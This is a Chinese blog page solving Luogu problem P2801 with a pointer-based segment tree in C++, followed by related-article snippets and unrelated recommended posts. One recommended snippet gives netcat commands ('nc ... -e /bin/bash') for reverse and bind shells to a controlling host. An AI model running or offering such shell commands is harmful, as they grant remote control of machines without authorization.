P2801 教主的魔法 (线段树)
题目
解析
成天做水题
线段树,第一问区间加很简单
第二问可以维护一个区间最大值和一个区间最小值,若C小于等于区间最小值,就加上区间长度,若C大于区间最大值,就加0
ps:求教指针线段树,我的空间怎么那么大
代码
#include <bits/stdc++.h>
using namespace std;
const int N = 2e6 + 10;
int n, m, num;
int a[N];
class tree {
public :
int mx, mn, sum;
int lazy, len;
tree *ls, *rs;
tree() {
sum = mx = mn = lazy = len = 0;
ls = rs = NULL;
}
} t[N];
template<class T>inline void read(T &x) {
x = 0; int f = 0; char ch = getchar();
while (!isdigit(ch)) f |= (ch == '-'), ch = getchar();
while (isdigit(ch)) x = x * 10 + ch - '0', ch = getchar();
x = f ? -x : x;
return;
}
inline void pushup(tree *rt) {
rt->mn = min(rt->ls->mn, rt->rs->mn);
rt->mx = max(rt->ls->mx, rt->rs->mx);
}
void build(int l, int r, tree *rt) {
rt->len = r - l + 1;
if (l == r) {
rt->mn = rt->mx = a[l];
return;
}
rt->ls = &t[++num], rt->rs = &t[++num];
int m = (l + r) >> 1;
build(l, m, rt->ls), build(m + 1, r, rt->rs);
pushup(rt);
}
inline void pushdown(tree *rt) {
if (rt->lazy) {
rt->ls->mx += rt->lazy;
rt->rs->mx += rt->lazy;
rt->ls->mn += rt->lazy;
rt->rs->mn += rt->lazy;
rt->ls->lazy += rt->lazy;
rt->rs->lazy += rt->lazy;
rt->lazy = 0;
}
}
void update(int L, int R, int c, int l, int r, tree *rt) {
if (L <= l && r <= R) {
rt->mn += c;
rt->mx += c;
rt->lazy += c;
return;
}
pushdown(rt);
int m = (l + r) >> 1;
if (L <= m) update(L, R, c, l, m, rt->ls);
if (R > m) update(L, R, c, m + 1, r, rt->rs);
pushup(rt);
}
int query(int L, int R, int c, int l, int r, tree *rt) {
if (L <= l && r <= R && rt->mn >= c) return rt->len;
if (L <= l && r <= R && rt->mx < c) return 0;
pushdown(rt);
int m = (l + r) >> 1, ans = 0;
if (L <= m) ans += query(L, R, c, l, m, rt->ls);
if (R > m) ans += query(L, R, c, m + 1, r, rt->rs);
return ans;
}
int main() {
read(n), read(m);
for (int i = 1; i <= n; ++i) read(a[i]);
tree *rt = new tree;
build(1, n, rt);
for (int i = 1, x, y, z; i <= m; ++i) {
char c;
cin >> c;
read(x), read(y), read(z);
if (c == 'M')
update(x, y, z, 1, n, rt);
else
printf("%d\n", query(x, y, z, 1, n, rt));
}
delete rt;
return 0;
}
P2801 教主的魔法 (线段树)的更多相关文章
- 洛谷——P2801 教主的魔法(线段树or分块)
P2801 教主的魔法 (1) 若第一个字母为“M”,则紧接着有三个数字L.R.W.表示对闭区间 [L, R] 内所有英雄的身高加上W. (2) 若第一个字母为“A”,则紧接着有三个数字L.R.C.询 ...
- P2801 教主的魔法(分块)
P2801 教主的魔法 区间加法,区间查询 显然就是分块辣 维护一个按块排好序的数组. 每次修改依然是整块打标记,零散块暴力.蓝后对零散块重新排序. 询问时整块二分,零散块暴力就好辣 注意细节挺多和边 ...
- 洛谷 P2801 教主的魔法 解题报告
P2801 教主的魔法 题目描述 教主最近学会了一种神奇的魔法,能够使人长高.于是他准备演示给XMYZ信息组每个英雄看.于是N个英雄们又一次聚集在了一起,这次他们排成了一列,被编号为1.2.--.N. ...
- 洛谷P2801 教主的魔法 [分块,二分答案]
题目传送门 教主的魔法 题目描述 教主最近学会了一种神奇的魔法,能够使人长高.于是他准备演示给XMYZ信息组每个英雄看.于是N个英雄们又一次聚集在了一起,这次他们排成了一列,被编号为1.2.…….N. ...
- 魔法 [线段树优化DP]
也许更好的阅读体验 \(\mathcal{Description}\) 小 \(D\) 正在研究魔法. 小 \(D\) 得到了远古时期的魔法咒语 \(S\),这个咒语共有 \(n\) 个音节,每个音节 ...
- luogu P2801 教主的魔法
题目描述 教主最近学会了一种神奇的魔法,能够使人长高.于是他准备演示给XMYZ信息组每个英雄看.于是N个英雄们又一次聚集在了一起,这次他们排成了一列,被编号为1.2.…….N. 每个人的身高一开始都是 ...
- 洛谷 P2801 教主的魔法
题目描述 教主最近学会了一种神奇的魔法,能够使人长高.于是他准备演示给XMYZ信息组每个英雄看.于是N个英雄们又一次聚集在了一起,这次他们排成了一列,被编号为1.2.…….N. 每个人的身高一开始都是 ...
- BZOJ——3343: 教主的魔法 || 洛谷—— P2801 教主的魔法
http://www.lydsy.com/JudgeOnline/problem.php?id=3343 || https://www.luogu.org/problem/show?pid=280 ...
- P2801 教主的魔法
传送门 $N$ 太大了主席树过不了 考虑分块 对每个块内的元素排序,询问就对大块二分查找,对两边小的部分暴力枚举 修改时维护 $add[i]$ 标记,维护当前块内整块已经加的数 那么整块的就直接修改 ...
随机推荐
- SLF4J使用,slf4j-api、slf4j-log4j12以及log4j的关系
SLF4J不同于其他日志类库,与其它有很大的不同.SLF4J(Simple logging Facade for Java)不是一个真正的日志实现,而是一个抽象层( abstraction layer ...
- java.lang.IllegalArgumentException: host parameter is null
即 URL 应为 http://www.baidu.com 但是实际配置成了 www.baidu.com 所以出现此错误
- nc 命令转发bash
反向 1.控制端:nc -lvp 4444 2.被控制端:nc 控制端IP 4444 -e /bin/bash 正向 1.被控制端:nc -lvp 4444 -e /bin/bash 2.控制端:nc ...
- CandyCrush 糖果传奇源码+素材+教程
在这里你将深入学习C#语言和Unity开发游戏的技术.在游戏项目开发中深入学习并掌握Unity开发中的刚体,模型等等 共14讲,TS格式,大小395MB 共14讲,TS格式,大小395MB 扫码时备注 ...
- Pushing state-of-the-art in 3D content understanding
Pushing state-of-the-art in 3D content understanding 2019-10-31 06:34:08 This blog is copied from: h ...
- 批量kill掉包含某个关键字的进程
需要把 linux 下符合某一项条件的所有进程 kill 掉,又不能用 killall 直接杀掉某一进程名称包含的所有运行中进程(我们可能只需要杀掉其中的某一类或运行指定参数命令的进程),这个时候我们 ...
- Filebeat的使用
前言 logstash本身就可以具有文件数据采集的功能了,为什么还需要在前面加一层filebeat?理由如下:logstash是使用Java编写,插件是使用JRuby编写,对机器的资源要求会比较高,在 ...
- (mysql)找不到请求的.Net Framework Data Provider。可能没有安装
webconfig配置以下节点(注意版本号) 将下面代码放在machine.config中文件,如何Web.config文件没有配置,需要添加 <system.data> <DbPr ...
- dlib-android
https://travis-ci.org/tzutalin/dlib-android https://github.com/tzutalin/dlib-android-app https://git ...
- 【SpringBoot】SpringBoot与Thymeleaf模版(六)
---恢复内容开始--- 模板引擎的思想 模板是为了将显示与数据分离,模板技术多种多样,但其本质都是将模板文件和数据通过模板引擎生成最终的HTML代码. Thymeleaf介绍 Thymeleaf是适 ...